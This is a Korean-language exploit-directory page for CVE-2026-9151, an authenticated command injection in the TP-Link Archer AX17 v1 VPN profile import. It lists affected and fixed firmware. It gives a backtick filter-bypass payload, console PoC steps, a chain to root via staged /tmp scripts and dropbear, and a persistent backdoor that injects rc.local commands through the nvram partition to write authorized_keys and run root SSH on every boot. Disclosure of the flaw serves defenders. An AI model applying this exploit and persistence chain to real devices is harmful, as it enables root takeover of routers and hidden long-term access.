Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-9151 — TP-Link Archer AX17 v1 VPN 클라이언트 가져오기에서 발생하는 인증된 OS 명령 주입 취약점입니다. | Kitploit
도구/GitHubGitHub/hcbt/cve-2026-9151
Embedded Systems SecurityPrivilege EscalationIoT SecurityPersistence MechanismsVulnerability AnalysisExploitationWeb Application ExploitationHardware & IoT SecurityRemote Access Tool
GitHubhcbt/cve-2026-9151

CVE-2026-9151

14일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

TP-Link Archer AX17 v1 VPN 클라이언트 가져오기에서 발생하는 인증된 OS 명령 주입 취약점입니다.

저장소 보기

CVE-2026-9151

Archer AX17 v1 VPN 클라이언트 가져오기에서 발생하는 인증된 OS 명령 주입 취약점입니다.

LAN에 있는 관리자가 OpenVPN 클라이언트 프로필을 가져옵니다. 프로필 설명은 /etc/openvpn/<des>.ovpn이라는 파일 이름으로 저장됩니다. 해당 프로필을 읽으면 그 경로가 /tmp/ovpn_curr_edit에 기록됩니다. 업로드가 준비되지 않은 상태에서 다음 VPN 쓰기 작업이 발생하면, 그 경로가 따옴표 없이 grep과 sed에 전달되며, 이들은 웹 서버가 root 권한으로 실행합니다.

설명 필터는 /, ;, |, 공백을 거부하고 문자열을 64자로 제한합니다. 백틱은 통과하므로 페이로드는 S`sleep${IFS}1`입니다. ${IFS}가 명령에 공백을 제공하는 방식입니다.

영향 받음Archer AX17 v1, 펌웨어 1.1.28 P1 [20250523-rel65103], 및 수정 이전 빌드
수정됨1.5.0 Build 20260605
접근LAN에서의 관리자 세션. 로그인 전에는 접근 불가.
영향Root 명령 실행

재현

  1. 라우터 관리자 페이지에 로그인합니다.
  2. 해당 탭에서 DevTools 콘솔을 엽니다.
  3. poc.js를 붙여넣습니다.
  4. await poc(0)을 실행한 다음 await poc(1)을 실행합니다.

poc(0)은 수백 밀리초 만에 반환됩니다. poc(1)은 약 1초 더 걸립니다. 그 차이는 root 권한으로 실행되는 sleep 1입니다. 스크립트는 자신이 생성한 프로필을 삭제합니다.

1.1.28에서 테스트했습니다. poc(1)은 1238 ms, poc(3)은 3504 ms, poc(7)은 7204 ms였으며, 대조군은 324 ms였습니다.

SSH

주입은 root 권한으로 실행되므로 dropbear를 시작할 수 있습니다. 이 빌드에서 중요한 두 가지가 있습니다:

  • -L("Enable SSH session login")이 필요합니다. 이것이 없으면 dropbear는 인증한 뒤 모든 셸 요청에 exec request failed로 응답합니다.
  • /etc는 ramfs입니다. rc.local, /etc/shadow, /etc/dropbear/authorized_keys는 부팅할 때마다 squashfs에서 다시 생성됩니다. nvram 파티션만 지속됩니다.

따라서 임시 방법과 영구 방법으로 나뉩니다.

임시

ssh-temp.js에는 두 개의 호출이 있습니다:

await sshTemp();        // dropbear -C -L -p 2222
await runStaged('r');   // sh /tmp/r as root

sshTemp()는 웹 계정 모드로 dropbear를 시작합니다. 라우터 관리자 비밀번호로 로그인합니다:

ssh -p 2222 -o HostKeyAlgorithms=+ssh-rsa \
    -o KexAlgorithms=+diffie-hellman-group14-sha1 admin@<router>

이 셸은 root가 아닌 uid 1000(admin)이며 /etc에 쓸 수 없습니다. 권한을 상승시키려면 ssh-root.sh를 /tmp/r에 준비합니다:

cat > /tmp/r <<'EOF'
... ssh-root.sh with your public key ...
EOF

그런 다음 콘솔에서 runStaged('r')을 호출합니다. 주입은 스크립트를 uid 0으로 실행하고, /etc/dropbear/authorized_keys를 작성하며, dropbear -L -p 2227을 시작합니다. (runStaged는 웹 백엔드의 작업 디렉터리가 /www이기 때문에 ${PWD%www}로 /tmp/<name>을 구성합니다.) 연결합니다:

ssh -i <key> -p 2227 -o HostKeyAlgorithms=+ssh-rsa \
    -o PubkeyAcceptedAlgorithms=+ssh-rsa \
    -o KexAlgorithms=+diffie-hellman-group14-sha1 root@<router>

이 방법은 다음 재부팅까지 유지됩니다.

영구

ssh-persist.sh를 root로 실행합니다(예: 임시 root 셸을 통해). 이 스크립트는 nvram profile 파티션에 rc.local을 추가합니다. S10boot는 S95done이 /etc/rc.local을 실행하기 전에 해당 파티션을 /etc로 복원하므로, 명령은 부팅할 때마다 실행됩니다.

파티션은 암호화된 줄 단위 uci XML입니다. <dir>은 /etc/<dir>을 생성하고, <file>은 /etc/<dir>/<file>을 생성하며, 태그 이름은 option 뒤에 그대로 기록됩니다. 따라서 ;로 시작하는 태그는 rc.local에 다음과 같이 들어갑니다

option ;<command> # 'x'

이는 <command>를 root로 실행합니다. 스크립트는 벤더의 profile.d 블록을 보존하고 다음을 기록합니다:

option ;echo <pubkey>|tee /etc/dropbear/authorized_keys # 'x'
option ;/usr/sbin/dropbear -L -p 22 # 'x'

재부팅 후 root SSH는 동일한 키로 22번 포트에서 활성화됩니다. 먼저 파티션을 백업하십시오. 스크립트는 백업 경로와 복원 명령을 출력합니다.

참고: 이 펌웨어에는 chpasswd가 존재하지 않습니다. 이를 사용해 root 비밀번호를 설정하려 하지 마십시오. 위와 같이 authorized_keys를 사용하거나 passwd를 사용하십시오.

도구 다운로드